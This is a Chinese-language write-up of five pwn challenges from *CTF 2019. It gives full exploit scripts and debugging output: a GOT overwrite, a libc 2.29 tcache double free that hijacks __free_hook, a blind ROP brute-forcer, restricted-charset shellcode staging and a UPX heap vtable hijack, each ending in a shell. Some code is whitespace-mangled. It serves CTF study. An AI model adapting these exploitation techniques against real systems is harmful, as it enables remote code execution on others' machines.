starctf2019–pwn WriteUp
pwn
quicksort
gets危险函数明显栈溢出,s与ptr的距离是0x1c,可以通过gets函数直接改写ptr来泄露地址,利用puts泄露libc地址,然后再改写__stack_chk_fail_got直接getshell。
详细代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *local = 0 if local: p = process("./quicksort" ) libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) else : p = remote("34.92.96.238" ,10000 ) libc = ELF("libc.so.6" ) elf = ELF("quicksort" )atoi_got = 0 x0804 A038 free_got = elf.got["free" ]print hex(free_got)free_plt = elf.plt["free" ]puts_plt = elf.plt["puts" ]__stack_chk_fail_got = elf.got["__stack_chk_fail" ]print hex(__stack_chk_fail_got)start = 0 x080489 C9 bss = 0 x0804 A0 b0 def exp(): p .recv() p .sendline(str(2 )) p .recv() payload = str(puts_plt) payload = payload.ljust(0 x10 ,"\x00" ) payload += p32 (0 x64 ) + p32 (0 ) + p32 (0 ) + p32 (free_got) p .sendline(payload) p .recv() payload = str(start) payload = payload.ljust(0 x10 ,"\x00" ) payload += p32 (0 x64 ) + p32 (0 ) + p32 (0 ) + p32 (__stack_chk_fail_got) p .sendline(payload) p .recv() payload = str(puts_plt) payload = payload.ljust(0 x10 ,"\x00" ) payload += p32 (0 x0 ) + p32 (0 ) + p32 (0 ) + p32 (free_got) + "aaaa" p .sendline(payload) p .recvuntil(":\n\n" ) p .recvn(4 ) data = u32 (p.recvn(4 )) libc_base = data - libc.symbols["getchar" ] system = libc_base + libc.symbols["system" ] binsh = libc_base +next(libc.search('/bin/sh')) print hex(data) print hex(libc_base) print hex(system) print hex(binsh) p .recv() p .sendline(str(2 )) p .recv() payload = str(puts_plt) payload = payload.ljust(0 x10 ,"\x00" ) payload += p32 (0 x64 ) + p32 (0 ) + p32 (0 ) + p32 (__stack_chk_fail_got) p .sendline(payload) p .recv() payload = str(puts_plt) payload = payload.ljust(0 x10 ,"\x00" ) payload += p32 (0 x0 ) + p32 (0 ) + p32 (0 ) + p32 (bss) + "aaaa" +"bbbb" + "cccc" + "dddd" + p32 (system) + p32 (0 ) + p32 (binsh) p .sendline(payload) p .interactive() exp ()
girlfriend
这道题的bug不难找,直接就是释放后没有删除指针可以进行double free。但是难点在于环境是libc2.29,这道题的环境是在ubuntu19.04下做了,比赛的时候辗转16.04和18.04都很难受,后来专门查了libc2.29的特点是,在free 放到tcache里面的时候检查了double free,但是当我们可以用tcache链表大小只有7个的特点,先把他填满再做double free。下面我用调试的方法来解释这道题的做法,过程中可以体会到tcache的一些特殊的机制。
调试过程
首先是泄露地址,有两个办法,一个是申请一个大于0x408的再free就不会放到tcache上,而是放到smallbin(?)里面。另外一个是申请超过7个大于fastbin的堆块(9个),然后再free掉7个八tcache填满,再free两个的时候就会放到unsortedbin里面去,再show就有libc了。下面做一些相关知识介绍:
tcache有两个重要的函数,tcache_get()
和tcache_put()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 static void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e ->next = tcache-> entries[tc_idx]; tcache -> entries[tc_idx] = e; ++(tcache -> counts[tc_idx]); } static void * tcache_get (size_t tc_idx) { tcache_entry *e = tcache-> entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache-> entries[tc_idx] > 0 ); tcache ->entries [tc_idx] = e-> next; --(tcache -> counts[tc_idx]); return (void *) e; }
这两个函数的会在函数 _int_free
和 __libc_malloc
的开头被调用,其中tcache_put
当所请求的分配大小不大于0x408
并且当给定大小的tcache bin
未满时调用。一个tcache bin
中的最大块数mp_.tcache_count
是7。
泄露地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 create (0 x440 ,"1" *0 x100 ,"AAA" ) #0 -8 #0 a big enough chunk won't in tcache.create (0 x18 ,"1" *0 x100 ,"AAA" ) #1 free (0 )show (0 )p .recvuntil("name:\n" )leak = u64 (p.recv(6 ).ljust(8 ,'\x00 '))libc .address = leak - (0 x7 fae5 b0 eeca0 - 0 x7 fae5 af0 a000 )one_gadget = libc.address + 0 xdf991 free_hook = libc.sym['__free_hook']malloc_hook = libc.sym['__malloc_hook']system = libc.sym['system']for i in range(9 ): create (0 x100 ,"1" *0 x100 ,"AAA" ) #0 -8 for i in range(9 ): free (i) show (7 )p .recvuntil("name:\n" )data = u64 (p.recvuntil("\n" ,drop=True)+"\x00\x00" )
利用思路:先创建多个堆块,再free只要达到把tcache的7个位置填满,然后还有剩余两个没有被free的堆块做double free就会把堆块放到fastbin上面去了,就可以成功double free了。此时堆的情况如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 gdb-peda$ heapinfo (0x20 ) fastbin[0 ]: 0x0 (0x30 ) fastbin[1 ]: 0x0 (0x40 ) fastbin[2 ]: 0x0 (0x50 ) fastbin[3 ]: 0x0 (0x60 ) fastbin[4 ]: 0x0 (0x70 ) fastbin[5 ]: 0x56340041e610 --> 0x56340041e580 --> 0x56340041e610 (overlap chunk with 0x56340041e610 (freed) ) (0x80 ) fastbin[6 ]: 0x0 (0x90 ) fastbin[7 ]: 0x0 (0xa0 ) fastbin[8 ]: 0x0 (0xb0 ) fastbin[9 ]: 0x0 top: 0x56340041ec90 (size : 0x20370 ) last_remainder: 0x56340041e6a0 (size : 0x20 ) unsortbin: 0x0 (0x70 ) tcache_entry[5 ](6 ): 0x56340041eb60 --> 0x56340041e500 --> 0x56340041e470 --> 0x56340041e3e0 --> 0x56340041e350 --> 0x56340041e2c0
double free:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 for i in range(9 ): create (0 x68 ,"1" *0 x68 ,"AAA" ) #3 -11 for i in range(7 ): free (i+3 ) # 3 -9 create (0 x68 ,"1" *0 x68 ,"AAA" ) #12 create (0 x68 ,"1" *0 x68 ,"AAA" ) #13 free (10 )free (11 )free (12 )free (13 )free (12 )
如果此时再创建新的chunk的话,会先从tcache里面去拿而不是fastbin里,所以要先add 7 个新的chunk,然后再劫持fd进行利用攻击。这里是直接malloc到__free_hook
,改__free_hook
为system然后free掉一个内容为/bin/sh\x00
的堆块即可getshell。
等等,你还有疑问?为什么能直接malloc到__free_hook
?不是会检查堆头吗?好吧其实是这样的,当add完七个chunk之后再创建新的chunk的时候,它会去fastbin去找,当找到一个适合的时候,他会把整个链表 到全部放到tcache里面,并把fastbin清空。所以当后面分配的时候其实就是通过tcache分配,而tcache分配又有一个特点就是他不会检查堆头,所以我们分配到哪里都可以的啦。
利用:
1 2 3 4 5 6 7 8 for i in range(7 ): create (0 x68 ,"1" *0 x68 ,"AAA" ) # 14 -20 add 7 tcache chunk create (0 x68 ,p64 (free_hook),"AAA" ) #21 create (0 x68 ,"3" *0 x60 ,"AAA" ) #22 create (0 x68 ,"/bin/sh\x00" ,"AAA" ) #23 create (0 x68 ,p64 (system),"AAA" ) #24 free (23 )
下面做一些知识介绍:
关于内存申请:
在内存分配的 malloc 函数中有多处,会将内存块移入 tcache 中。
(1)首先,申请的内存块符合 fastbin 大小时并且找到在 fastbin 内找到可用的空闲块时,会把该 fastbin 链上的其他内存块放入 tcache 中。
(2)其次,申请的内存块符合 smallbin 大小时并且找到在 smallbin 内找到可用的空闲块时,会把该 smallbin 链上的其他内存块放入 tcache 中。
(3)当在 unsorted bin 链上循环处理时,当找到大小合适的链时,并不直接返回,而是先放到 tcache 中,继续处理。
关于内存申请的检查部分:
当tcache存在时,释放堆块没有对堆块的前后堆块进行合法性校验,只需要构造本块对齐就可以成功将任意构造的堆块释放到tcache中,而在申请时,tcache对内部大小合适的堆块也是直接分配的,并且对于在tcache内任意大小的堆块管理方式是一样的,导致常见的house_of_spirit可以延伸到smallbin。
详细代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import *local = 1 if local: p = process("./chall" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) else : p = remote("34.92.96.238" ,10001 ) elf = ELF("chall" ) def create (size,name,call ): p.recvuntil("choice:" ) p.sendline("1" ) p.recvuntil("name\n" ) p.sendline(str(size)) p.recvuntil("name:\n" ) p.send(name) p.recvuntil("call:\n" ) p.send(call) sleep(0.1 ) def show (index ): p.recvuntil("choice:" ) p.sendline("2" ) p.recvuntil("index:\n" ) p.sendline(str(index)) def free (index ): p.recvuntil("choice:" ) p.sendline("4" ) p.recvuntil("index:\n" ) p.sendline(str(index)) ''' debug info bb 0xCB9 bb 0xEEC ''' create(0x440 ,"1" *0x100 ,"AAA" ) create(0x18 ,"1" *0x100 ,"AAA" ) free(0 ) show(0 ) p.recvuntil("name:\n" ) leak = u64(p.recv(6 ).ljust(8 ,'\x00' )) libc.address = leak - (0x7fae5b0eeca0 - 0x7fae5af0a000 ) one_gadget = libc.address + 0xdf991 free_hook = libc.sym['__free_hook' ] malloc_hook = libc.sym['__malloc_hook' ] system = libc.sym['system' ] print("[+] leak: " + str(hex(leak))) print("[+] leak: " + str(hex(libc.address))) print("[+] one_gadget: " + str(hex(one_gadget))) print("[+] system: " + str(hex(libc.sym['system' ]))) print("[+] free_hook: " + str(hex(libc.sym['__free_hook' ]))) print("[+] malloc_hook: " + str(hex(libc.sym['__malloc_hook' ]))) create(0x440 ,"1" *0x100 ,"AAA" ) for i in range(9 ): create(0x68 ,"1" *0x68 ,"AAA" ) for i in range(7 ): free(i+3 ) create(0x68 ,"1" *0x68 ,"AAA" ) create(0x68 ,"1" *0x68 ,"AAA" ) free(10 ) free(11 ) free(12 ) free(13 ) free(12 ) for i in range(7 ): create(0x68 ,"1" *0x68 ,"AAA" ) pause() create(0x68 ,p64(free_hook),"AAA" ) create(0x68 ,"3" *0x60 ,"AAA" ) create(0x68 ,"/bin/sh\x00" ,"AAA" ) create(0x68 ,p64(system),"AAA" ) free(23 ) p.interactive()
blindpwn
这是一道没有给程序的盲pwn,主要思路就是通过爆破低位来找到返回值特殊的值,比如打印两次提示,打印栈上内容等来找到调用read的地方,找到返回值,找到初始地址。下面给出爆破程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *i = 0x11 """ 07 : \x0a \x0f \x14 \x76 \x20 \x07 \x40 \x70 \x05 \x40 05 : \x15 \x1c \x1e \xf \x20 \x21 \x26 """ while i < 256 : while True : try : p = remote("34.92.37.22" ,10000 ) break except : continue p.recv() payload = "a" *40 +p64(0x400520 )+p64(0x400776 )*i p.send(payload) print chr(i).encode("hex" ) try : sleep(1 ) data = p.recv() if len(data)>0x1b : i = i + 1 print len(data) print data p.close() continue else : i = i + 1 p.close() continue except : i = i + 1 p.close() continue print i
通过爆破可以知道得到有几个地址可以泄露栈上内容的,即可以得到libc的,再而如果能同时泄露并能返回到read让我们再读入一次就能成功getshell了。之后我们得到两个比较特殊的地址分别是0x400520和0x400776,他们两个相差距离,根据经验和打印的内容,可以猜测因为rsi没有改变,而rdx(打印长度)为0x100,刚好就是read的时候的长度,所以0x400520可能是write或者是某个打印函数的plt表,0x400776则是在程序段中code段的call调用函数,然后做了一些尝试,如下构造可以泄露并二次输入,最后第二次输入的时候直接one_gadget即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 p = remote("34.92.37.22" ,10000 )p .recv()payload = "a" *40 +p64 (0 x400520 )+p64 (0 x400776 )*17 p .send(payload)p .recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" )data1 = p.recvn(0 xa8 )data2 = u64 (p.recvn(8 ))print hex(data2 )libc_base = data2 - 0 x5 f1168 one_shot = libc_base + 0 xf02 a4 sleep (1 )p .recvuntil("elcome to this blind pwn!\n" )payload = "b" *40 + p64 (one_shot) + p64 (0 )*0 x30 p .send(payload)p .interactive()
babyshell
题目mmap分配了一段rwx权限的内存块出来,并可以读取0x100的内容(shellcode),最后执行该buf的内容。在执行之前会检查我们的shellcode是否满足他的要求,即要求用题目给出的机器码组成shellcode来执行,其中过滤了“/”,“b”还有“\x48”等重要的机器码。要求使用的机器码如下:
1 [0x5A , 0x5A , 0x4A , 0x20 , 0x6C , 0x6F , 0x76 , 0x65 , 0x73 , 0x20 , 0x73 , 0x68 , 0x65 , 0x6C , 0x6C , 0x5F , 0x63 , 0x6F , 0x64 , 0x65 , 0x2C , 0x61 , 0x6E , 0x64 , 0x20 , 0x68 , 0x65 , 0x72 , 0x65 , 0x20 , 0x69 , 0x73 , 0x20 , 0x61 , 0x20 , 0x67 , 0x69 , 0x66 , 0x74 , 0x3A , 0x0F , 0x05 , 0x20 , 0x65 , 0x6E , 0x6A , 0x6F , 0x79 , 0x20 , 0x69 , 0x74 , 0x21 , 0x0A ]
但是我们有push有pop还有syscall,就能控制一些寄存器,但是我们不能控制rax。然后因为刚程序中调用完read,我们就可以先执行read的syscall,再调用一次读入,好处在于第二次读入的时候就不需要做检查,即绕过的题目的要求,这样我们第二次读入的东西就没有限制了。就可以直接getshell。
详细代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #!/usr/bin/env python # coding=utf-8 from pwn import * p = process("shellcode") #p = remote("34.92.37.22",10002) shellcode = "\x 6a\x 79\x 5a\x 6a\x 00\x 5f\x 0f\x 05" gdb.attach(p," b *0x4008cb") print shellcode.encode("hex") p.recv() p.send(shellcode) pause() sleep(0.1) payload = "/bin/sh\x 00" + "\x 56\x 5f\x 6a\x 00\x 5e\x 6a\x 00\x 5a\x 0f\x 05" payload = payload.ljust(0x3b,"\x 00") p.send(payload) p.interactive()
upxofcpp
参考链接:https://github.com/sixstars/starctf2019/tree/master/pwn-upxofcpp
https://xz.aliyun.com/t/5006#toc-14
这道题在比赛的时候没有做出来,其中主要是看cpp代码很难受,不过也算看懂了大概,但是实在是没有注意到heap还是rwx的。。。
小知识点:
用upx打包的程序,你会发现许多rwx内存区域,包括堆(加壳的程序中堆是rwx的)
Refer : https://github.com/upx/upx/issues/81
利用思路
upx加壳,主程序空间可读可写可执行
free的时候没有清空指针
node结构体中存在指向函数调用的func_table,通过构造使得func_table指到堆,使得*func_table的show函数指向堆上,在show函数指向的堆上构造shellcode
补充:主要是伪造vtable,通过free之后的fastbin指向地址伪造vtable,其中vtable地址偏移0x10就是call show的相关函数,劫持这个0x10的偏移位heap地址,即劫持到show的控制流从而跳转到heap上去执行代码,而heap上市rwx所以就可以直接执行shellcode
下面是vtable的情况:
1 2 3 .data .rel .ro :0000000000202DB8 vtable dq offset default ; DATA XREF : add +1B9 ↑o .data .rel .ro :0000000000202DC0 dq offset remove_helper .data .rel .ro :0000000000202DC8 dq offset show_helper
调试方法
使用加壳的文件getshell,使用已经脱壳的文件进行调试即可。
调试过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 new(0 ,2 ,2 ) p. sendlineafter('Your choice:' ,'1' ) p. sendlineafter('Index:' ,'1' ) p. sendlineafter('Size:' ,str (6 )) ''' push rax pop rsi push rcx push rcx pop rax pop rdi syscall ''' payload = '0\n' *2 + str (0x51515e50 )+'\n' + str (0x53415f58 )+'\n' + str (0x00050f5a ) +'\n' + str (0xdead )+'\n' p. sendafter('Input 6 integers, -1 to stop:' ,payload) new(2 ,2 ,2 )
before free(1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 gdb -peda$ x /30 xg 0 x5616 d5 cfec10 0x5616d5cfec10 : 0 x0000000000000000 0 x0000000000000021 0x5616d5cfec20 : 0 x00005616 d4 a56 db8 0 x00005616 d5 cfec40 0x5616d5cfec30 : 0 x0000000000000002 0 x0000000000000021 0x5616d5cfec40 : 0 x0000000200000002 0 x0000000000000000 0x5616d5cfec50 : 0 x0000000000000000 0 x0000000000000021 0x5616d5cfec60 : 0 x00005616 d4 a56 db8 0 x00005616 d5 cfec80 0x5616d5cfec70 : 0 x0000000000000006 0 x0000000000000021 0x5616d5cfec80 : 0 x0000000000000000 0 x53415 f5851515 e50 0x5616d5cfec90 : 0 x0000 dead00050 f5 a 0 x0000000000000021 0x5616d5cfeca0 : 0 x00005616 d4 a56 db8 0 x00005616 d5 cfecc0 0x5616d5cfecb0 : 0 x0000000000000002 0 x0000000000000021 0x5616d5cfecc0 : 0 x0000000200000002 0 x0000000000000000 0x5616d5cfecd0 : 0 x0000000000000000 0 x0000000000020331 0x5616d5cfece0 : 0 x0000000000000000 0 x0000000000000000 0x5616d5cfecf0 : 0 x0000000000000000 0 x0000000000000000
after free(1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 gdb -peda$ x /30 xg 0 x5616 d5 cfec10 0x5616d5cfec10 : 0 x0000000000000000 0 x0000000000000021 0x5616d5cfec20 : 0 x00005616 d4 a56 db8 0 x00005616 d5 cfec40 0x5616d5cfec30 : 0 x0000000000000002 0 x0000000000000021 0x5616d5cfec40 : 0 x0000000200000002 0 x0000000000000000 0x5616d5cfec50 : 0 x0000000000000000 0 x0000000000000021 0x5616d5cfec60 : 0 x00005616 d5 cfec70 0 x00005616 d5 cfec80 0x5616d5cfec70 : 0 x0000000000000006 0 x0000000000000021 0x5616d5cfec80 : 0 x0000000000000000 0 x53415 f5851515 e50 0x5616d5cfec90 : 0 x0000 dead00050 f5 a 0 x0000000000000021 0x5616d5cfeca0 : 0 x00005616 d4 a56 db8 0 x00005616 d5 cfecc0 0x5616d5cfecb0 : 0 x0000000000000002 0 x0000000000000021 0x5616d5cfecc0 : 0 x0000000200000002 0 x0000000000000000 0x5616d5cfecd0 : 0 x0000000000000000 0 x0000000000020331 0x5616d5cfece0 : 0 x0000000000000000 0 x0000000000000000 0x5616d5cfecf0 : 0 x0000000000000000 0 x0000000000000000
after free(0)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 gdb -peda$ x /50 xg 0 x5616 d5 cfec10 0x5616d5cfec10 : 0 x0000000000000000 0 x0000000000000021 0x5616d5cfec20 : 0 x00005616 d5 cfec30 0 x00005616 d5 cfec40 0x5616d5cfec30 : 0 x0000000000000002 0 x0000000000000021 0x5616d5cfec40 : 0 x00005616 d5 cfec70 0 x0000000000000000 0x5616d5cfec50 : 0 x0000000000000000 0 x0000000000000021 0x5616d5cfec60 : 0 x00005616 d4 a56 db8 0 x00005616 d5 cfece0 0x5616d5cfec70 : 0 x0000000000000008 0 x0000000000000021 0x5616d5cfec80 : 0 x0000000000000000 0 x53415 f5851515 e50 0x5616d5cfec90 : 0 x0000 dead00050 f5 a 0 x0000000000000021 0x5616d5cfeca0 : 0 x00005616 d4 a56 db8 0 x00005616 d5 cfecc0 0x5616d5cfecb0 : 0 x0000000000000002 0 x0000000000000021 0x5616d5cfecc0 : 0 x0000000200000002 0 x0000000000000000 0x5616d5cfecd0 : 0 x0000000000000000 0 x0000000000000031 0x5616d5cfece0 : 0 x0000000200000002 0 x0000000200000002 0x5616d5cfecf0 : 0 x0000000200000002 0 x0000000200000002 0x5616d5cfed00 : 0 x0000000000000000 0 x0000000000020301
利用程序:
1 2 3 4 free (1 ) new (3 ,8 ,2 ) free (0 ) show (0 )
最后再覆盖写一次syscall读东西到heap上执行完后直接getshell,这一步主要是方面写shellcode,不用拆成几个int来一点点写。
1 p .send('\x90 '*0 x90 + asm(shellcraft.sh()))
把文件改成没有脱壳的文件,运行成功getshell。